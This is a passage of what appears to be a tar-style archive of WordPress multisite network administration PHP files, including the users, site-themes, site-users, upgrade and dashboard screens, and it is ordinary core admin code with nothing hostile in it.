			} else {
				$deletefunction = 'all_delete';
			}

			wp_redirect(
				add_query_arg(
					array(
						'updated' => 'true',
						'action'  => $deletefunction,
					),
					network_admin_url( 'users.php' )
				)
			);
			exit;
	}
}

$wp_list_table = _get_list_table( 'WP_MS_Users_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();
$wp_list_table->prepare_items();
$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );

if ( $pagenum > $total_pages && $total_pages > 0 ) {
	wp_redirect( add_query_arg( 'paged', $total_pages ) );
	exit;
}
$title       = __( 'Users' );
$parent_file = 'users.php';

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This table shows all users across the network and the sites to which they are assigned.' ) . '</p>' .
			'<p>' . __( 'Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.' ) . '</p>' .
			'<p>' . __( 'You can also go to the user&#8217;s profile page by clicking on the individual username.' ) . '</p>' .
			'<p>' . __( 'You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.' ) . '</p>' .
			'<p>' . __( 'The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.' ) . '</p>' .
			'<p>' . __( 'You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support Forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter users list' ),
		'heading_pagination' => __( 'Users list navigation' ),
		'heading_list'       => __( 'Users list' ),
	)
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( isset( $_REQUEST['updated'] ) && 'true' == $_REQUEST['updated'] && ! empty( $_REQUEST['action'] ) ) {
	?>
	<div id="message" class="updated notice is-dismissible"><p>
		<?php
		switch ( $_REQUEST['action'] ) {
			case 'delete':
				_e( 'User deleted.' );
				break;
			case 'all_spam':
				_e( 'Users marked as spam.' );
				break;
			case 'all_notspam':
				_e( 'Users removed from spam.' );
				break;
			case 'all_delete':
				_e( 'Users deleted.' );
				break;
			case 'add':
				_e( 'User added.' );
				break;
		}
		?>
	</p></div>
	<?php
}
?>
<div class="wrap">
	<h1 class="wp-heading-inline"><?php esc_html_e( 'Users' ); ?></h1>

	<?php
	if ( current_user_can( 'create_users' ) ) :
		?>
		<a href="<?php echo esc_url( network_admin_url( 'user-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html_x( 'Add New', 'user' ); ?></a>
		<?php
	endif;

	if ( strlen( $usersearch ) ) {
		echo '<span class="subtitle">';
		printf(
			/* translators: %s: Search query. */
			__( 'Search results for: %s' ),
			'<strong>' . esc_html( $usersearch ) . '</strong>'
		);
		echo '</span>';
	}
	?>

	<hr class="wp-header-end">

	<?php $wp_list_table->views(); ?>

	<form method="get" class="search-form">
		<?php $wp_list_table->search_box( __( 'Search Users' ), 'all-user' ); ?>
	</form>

	<form id="form-user-list" action="users.php?action=allusers" method="post">
		<?php $wp_list_table->display(); ?>
	</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
credits.php000064400000000371152333305150006713 0ustar00<?php
/**
 * Network Credits administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/credits.php';
update-core.php000064400000000375152333305150007472 0ustar00<?php
/**
 * Updates network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/update-core.php';
setup.php000064400000000367152333305150006423 0ustar00<?php
/**
 * Network Setup administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/network.php';
site-themes.php000064400000015073152333305150007512 0ustar00<?php
/**
 * Edit Site Themes Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage themes for this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site themes list' ),
		'heading_pagination' => __( 'Site themes list navigation' ),
		'heading_list'       => __( 'Site themes list' ),
	)
);

$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );

$action = $wp_list_table->current_action();

$s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args              = array( 'enabled', 'disabled', 'error' );
$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( $temp_args, wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$wp_list_table->prepare_items();

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

if ( $action ) {
	switch_to_blog( $id );
	$allowed_themes = get_option( 'allowedthemes' );

	switch ( $action ) {
		case 'enable':
			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
			$theme  = $_GET['theme'];
			$action = 'enabled';
			$n      = 1;
			if ( ! $allowed_themes ) {
				$allowed_themes = array( $theme => true );
			} else {
				$allowed_themes[ $theme ] = true;
			}
			break;
		case 'disable':
			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
			$theme  = $_GET['theme'];
			$action = 'disabled';
			$n      = 1;
			if ( ! $allowed_themes ) {
				$allowed_themes = array();
			} else {
				unset( $allowed_themes[ $theme ] );
			}
			break;
		case 'enable-selected':
			check_admin_referer( 'bulk-themes' );
			if ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
				$action = 'enabled';
				$n      = count( $themes );
				foreach ( (array) $themes as $theme ) {
					$allowed_themes[ $theme ] = true;
				}
			} else {
				$action = 'error';
				$n      = 'none';
			}
			break;
		case 'disable-selected':
			check_admin_referer( 'bulk-themes' );
			if ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
				$action = 'disabled';
				$n      = count( $themes );
				foreach ( (array) $themes as $theme ) {
					unset( $allowed_themes[ $theme ] );
				}
			} else {
				$action = 'error';
				$n      = 'none';
			}
			break;
		default:
			if ( isset( $_POST['checked'] ) ) {
				check_admin_referer( 'bulk-themes' );
				$themes = (array) $_POST['checked'];
				$n      = count( $themes );
				$screen = get_current_screen()->id;

				/**
				 * Fires when a custom bulk action should be handled.
				 *
				 * The redirect link should be modified with success or failure feedback
				 * from the action to be used to display feedback to the user.
				 *
				 * The dynamic portion of the hook name, `$screen`, refers to the current screen ID.
				 *
				 * @since 4.7.0
				 *
				 * @param string $redirect_url The redirect URL.
				 * @param string $action       The action being taken.
				 * @param array  $items        The items to take the action on.
				 * @param int    $site_id      The site ID.
				 */
				$referer = apply_filters( "handle_network_bulk_actions-{$screen}", $referer, $action, $themes, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
			} else {
				$action = 'error';
				$n      = 'none';
			}
	}

	update_option( 'allowedthemes', $allowed_themes );
	restore_current_blog();

	wp_safe_redirect(
		add_query_arg(
			array(
				'id'    => $id,
				$action => $n,
			),
			$referer
		)
	);
	exit;
}

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_thickbox();
add_screen_option( 'per_page' );

/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-themes',
	)
);

if ( isset( $_GET['enabled'] ) ) {
	$enabled = absint( $_GET['enabled'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme enabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme enabled.', '%s themes enabled.', $enabled );
	}
	echo '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $enabled ) ) . '</p></div>';
} elseif ( isset( $_GET['disabled'] ) ) {
	$disabled = absint( $_GET['disabled'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme disabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme disabled.', '%s themes disabled.', $disabled );
	}
	echo '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $disabled ) ) . '</p></div>';
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
	echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'No theme selected.' ) . '</p></div>';
}
?>

<p><?php _e( 'Network enabled themes are not shown on this screen.' ); ?></p>

<form method="get">
<?php $wp_list_table->search_box( __( 'Search Installed Themes' ), 'theme' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-themes.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

</div>
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
upgrade.php000064400000011520152333305150006703 0ustar00<?php
/**
 * Multisite upgrade administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require_once ABSPATH . WPINC . '/http.php';

$title       = __( 'Upgrade Network' );
$parent_file = 'upgrade.php';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.' ) . '</p>' .
			'<p>' . __( 'If a version update to core has not happened, clicking this button won&#8217;t affect anything.' ) . '</p>' .
			'<p>' . __( 'If this process fails for any reason, users logging in to their sites will force the same update.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/article/network-admin-updates-screen/">Documentation on Upgrade Network</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/">Support</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( ! current_user_can( 'upgrade_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

echo '<div class="wrap">';
echo '<h1>' . __( 'Upgrade Network' ) . '</h1>';

$action = isset( $_GET['action'] ) ? $_GET['action'] : 'show';

switch ( $action ) {
	case 'upgrade':
		$n = ( isset( $_GET['n'] ) ) ? (int) $_GET['n'] : 0;

		if ( $n < 5 ) {
			/**
			 * @global int $wp_db_version WordPress database version.
			 */
			global $wp_db_version;
			update_site_option( 'wpmu_upgrade_site', $wp_db_version );
		}

		$site_ids = get_sites(
			array(
				'spam'                   => 0,
				'deleted'                => 0,
				'archived'               => 0,
				'network_id'             => get_current_network_id(),
				'number'                 => 5,
				'offset'                 => $n,
				'fields'                 => 'ids',
				'order'                  => 'DESC',
				'orderby'                => 'id',
				'update_site_meta_cache' => false,
			)
		);
		if ( empty( $site_ids ) ) {
			echo '<p>' . __( 'All done!' ) . '</p>';
			break;
		}
		echo '<ul>';
		foreach ( (array) $site_ids as $site_id ) {
			switch_to_blog( $site_id );
			$siteurl     = site_url();
			$upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' );
			restore_current_blog();

			echo "<li>$siteurl</li>";

			$response = wp_remote_get(
				$upgrade_url,
				array(
					'timeout'     => 120,
					'httpversion' => '1.1',
					'sslverify'   => false,
				)
			);

			if ( is_wp_error( $response ) ) {
				wp_die(
					sprintf(
						/* translators: 1: Site URL, 2: Server error message. */
						__( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s' ),
						$siteurl,
						'<em>' . $response->get_error_message() . '</em>'
					)
				);
			}

			/**
			 * Fires after the Multisite DB upgrade for each site is complete.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param array|WP_Error $response The upgrade response array or WP_Error on failure.
			 */
			do_action( 'after_mu_upgrade', $response );

			/**
			 * Fires after each site has been upgraded.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id The Site ID.
			 */
			do_action( 'wpmu_upgrade_site', $site_id );
		}
		echo '</ul>';
		?><p><?php _e( 'If your browser doesn&#8217;t start loading the next page automatically, click this link:' ); ?> <a class="button" href="upgrade.php?action=upgrade&amp;n=<?php echo ( $n + 5 ); ?>"><?php _e( 'Next Sites' ); ?></a></p>
		<script type="text/javascript">
		<!--
		function nextpage() {
			location.href = "upgrade.php?action=upgrade&n=<?php echo ( $n + 5 ); ?>";
		}
		setTimeout( "nextpage()", 250 );
		//-->
		</script>
		<?php
		break;
	case 'show':
	default:
		if ( (int) get_site_option( 'wpmu_upgrade_site' ) !== $GLOBALS['wp_db_version'] ) :
			?>
		<h2><?php _e( 'Database Update Required' ); ?></h2>
		<p><?php _e( 'WordPress has been updated! Before we send you on your way, we need to individually upgrade the sites in your network.' ); ?></p>
		<?php endif; ?>

		<p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p>
		<p><a class="button button-primary" href="upgrade.php?action=upgrade"><?php _e( 'Upgrade Network' ); ?></a></p>
		<?php
		/**
		 * Fires before the footer on the network upgrade screen.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmu_upgrade_page' );
		break;
}
?>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
index.php000064400000005454152333305150006374 0ustar00<?php
/**
 * Multisite administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** Load WordPress dashboard API */
require_once ABSPATH . 'wp-admin/includes/dashboard.php';

if ( ! current_user_can( 'manage_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$title       = __( 'Dashboard' );
$parent_file = 'index.php';

$overview  = '<p>' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '</p>';
$overview .= '<p>' . __( 'From here you can:' ) . '</p>';
$overview .= '<ul><li>' . __( 'Add and manage sites or users' ) . '</li>';
$overview .= '<li>' . __( 'Install and activate themes or plugins' ) . '</li>';
$overview .= '<li>' . __( 'Update your network' ) . '</li>';
$overview .= '<li>' . __( 'Modify global network settings' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $overview,
	)
);

$quick_tasks  = '<p>' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To add a new user, <strong>click Create a New User</strong>.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To add a new site, <strong>click Create a New Site</strong>.' ) . '</li></ul>';
$quick_tasks .= '<p>' . __( 'To search for a user or site, use the search boxes.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user&#42;.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To search for a site, <strong>enter the path or domain</strong>.' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'quick-tasks',
		'title'   => __( 'Quick Tasks' ),
		'content' => $quick_tasks,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/article/network-admin/">Documentation on the Network Admin</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support Forums</a>' ) . '</p>'
);

wp_dashboard_setup();

wp_enqueue_script( 'dashboard' );
wp_enqueue_script( 'plugin-install' );
add_thickbox();

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<div id="dashboard-widgets-wrap">

<?php wp_dashboard(); ?>

<div class="clear"></div>
</div><!-- dashboard-widgets-wrap -->

</div><!-- wrap -->

<?php
wp_print_community_events_templates();
require_once ABSPATH . 'wp-admin/admin-footer.php';
edit.php000064400000001614152333305150006204 0ustar00<?php
/**
 * Action handler for Multisite administration panels.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

$action = ( isset( $_GET['action'] ) ) ? $_GET['action'] : '';

if ( empty( $action ) ) {
	wp_redirect( network_admin_url() );
	exit;
}

/**
 * Fires just before the action handler in several Network Admin screens.
 *
 * This hook fires on multiple screens in the Multisite Network Admin,
 * including Users, Network Settings, and Site Settings.
 *
 * @since 3.0.0
 */
do_action( 'wpmuadminedit' );

/**
 * Fires the requested handler action.
 *
 * The dynamic portion of the hook name, `$action`, refers to the name
 * of the requested action derived from the `GET` request.
 *
 * @since 3.1.0
 */
do_action( "network_admin_edit_{$action}" );

wp_redirect( network_admin_url() );
exit;
freedoms.php000064400000000373152333305150007064 0ustar00<?php
/**
 * Network Freedoms administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/freedoms.php';
site-users.php000064400000026461152333305150007371 0ustar00<?php
/**
 * Edit Site Users Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_Users_List_Table' );
$wp_list_table->prepare_items();

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site users list' ),
		'heading_pagination' => __( 'Site users list navigation' ),
		'heading_list'       => __( 'Site users list' ),
	)
);

$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( 'update', wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

switch_to_blog( $id );

$action = $wp_list_table->current_action();

if ( $action ) {

	switch ( $action ) {
		case 'newuser':
			check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
			$user = $_POST['user'];
			if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
				$update = 'err_new';
			} else {
				$password = wp_generate_password( 12, false );
				$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );

				if ( false === $user_id ) {
					$update = 'err_new_dup';
				} else {
					$result = add_user_to_blog( $id, $user_id, $_POST['new_role'] );

					if ( is_wp_error( $result ) ) {
						$update = 'err_add_fail';
					} else {
						$update = 'newuser';

						/**
						 * Fires after a user has been created via the network site-users.php page.
						 *
						 * @since 4.4.0
						 *
						 * @param int $user_id ID of the newly created user.
						 */
						do_action( 'network_site_users_created_user', $user_id );
					}
				}
			}
			break;

		case 'adduser':
			check_admin_referer( 'add-user', '_wpnonce_add-user' );
			if ( ! empty( $_POST['newuser'] ) ) {
				$update  = 'adduser';
				$newuser = $_POST['newuser'];
				$user    = get_user_by( 'login', $newuser );
				if ( $user && $user->exists() ) {
					if ( ! is_user_member_of_blog( $user->ID, $id ) ) {
						$result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] );

						if ( is_wp_error( $result ) ) {
							$update = 'err_add_fail';
						}
					} else {
						$update = 'err_add_member';
					}
				} else {
					$update = 'err_add_notfound';
				}
			} else {
				$update = 'err_add_notfound';
			}
			break;

		case 'remove':
			if ( ! current_user_can( 'remove_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
			}

			check_admin_referer( 'bulk-users' );

			$update = 'remove';
			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];

				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;
					remove_user_from_blog( $user_id, $id );
				}
			} elseif ( isset( $_GET['user'] ) ) {
				remove_user_from_blog( $_GET['user'] );
			} else {
				$update = 'err_remove';
			}
			break;

		case 'promote':
			check_admin_referer( 'bulk-users' );
			$editable_roles = get_editable_roles();
			$role           = $_REQUEST['new_role'];

			if ( empty( $editable_roles[ $role ] ) ) {
				wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
			}

			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];
				$update  = 'promote';
				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;

					// If the user doesn't already belong to the blog, bail.
					if ( ! is_user_member_of_blog( $user_id ) ) {
						wp_die(
							'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
							'<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>',
							403
						);
					}

					$user = get_userdata( $user_id );
					$user->set_role( $role );
				}
			} else {
				$update = 'err_promote';
			}
			break;
		default:
			if ( ! isset( $_REQUEST['users'] ) ) {
				break;
			}
			check_admin_referer( 'bulk-users' );
			$userids = $_REQUEST['users'];

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			$update = $action;
			break;
	}

	wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
	exit;
}

restore_current_blog();

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_screen_option( 'per_page' );

/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

/**
 * Filters whether to show the Add Existing User form on the Multisite Users screen.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add Existing User form. Default true.
 */
if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) {
	wp_enqueue_script( 'user-suggest' );
}

require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

<script type="text/javascript">
var current_site_id = <?php echo absint( $id ); ?>;
</script>


<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-users',
	)
);

if ( isset( $_GET['update'] ) ) :
	switch ( $_GET['update'] ) {
		case 'adduser':
			echo '<div id="message" class="updated notice is-dismissible"><p>' . __( 'User added.' ) . '</p></div>';
			break;
		case 'err_add_member':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'User is already a member of this site.' ) . '</p></div>';
			break;
		case 'err_add_fail':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'User could not be added to this site.' ) . '</p></div>';
			break;
		case 'err_add_notfound':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Enter the username of an existing user.' ) . '</p></div>';
			break;
		case 'promote':
			echo '<div id="message" class="updated notice is-dismissible"><p>' . __( 'Changed roles.' ) . '</p></div>';
			break;
		case 'err_promote':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Select a user to change role.' ) . '</p></div>';
			break;
		case 'remove':
			echo '<div id="message" class="updated notice is-dismissible"><p>' . __( 'User removed from this site.' ) . '</p></div>';
			break;
		case 'err_remove':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Select a user to remove.' ) . '</p></div>';
			break;
		case 'newuser':
			echo '<div id="message" class="updated notice is-dismissible"><p>' . __( 'User created.' ) . '</p></div>';
			break;
		case 'err_new':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Enter the username and email.' ) . '</p></div>';
			break;
		case 'err_new_dup':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Duplicated username or email address.' ) . '</p></div>';
			break;
	}
endif;
?>

<form class="search-form" method="get">
<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-users.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

<?php
/**
 * Fires after the list table on the Users screen in the Multisite Network Admin.
 *
 * @since 3.1.0
 */
do_action( 'network_site_users_after_list_table' );

/** This filter is documented in wp-admin/network/site-users.php */
if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) :
	?>
<h2 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h2>
<form action="site-users.php?action=adduser" id="adduser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="newuser"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_adduser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_adduser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?>
	<?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?>
</form>
<?php endif; ?>

<?php
/**
 * Filters whether to show the Add New User form on the Multisite Users screen.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add New User form. Default true.
 */
if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) :
	?>
<h2 id="add-new-user"><?php _e( 'Add New User' ); ?></h2>
<form action="<?php echo esc_url( network_admin_url( 'site-users.php?action=newuser' ) ); ?>" id="newuser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="user_username"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[username]" id="user_username" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="user_email"><?php _e( 'Email' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[email]" id="user_email" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_newuser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_newuser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ); ?>
	<?php submit_button( __( 'Add New User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?>
</form>
<?php endif; ?>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
plugin-install.php000064400000000571152333305150010222 0ustar00<?php
/**
 * Install plugin network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

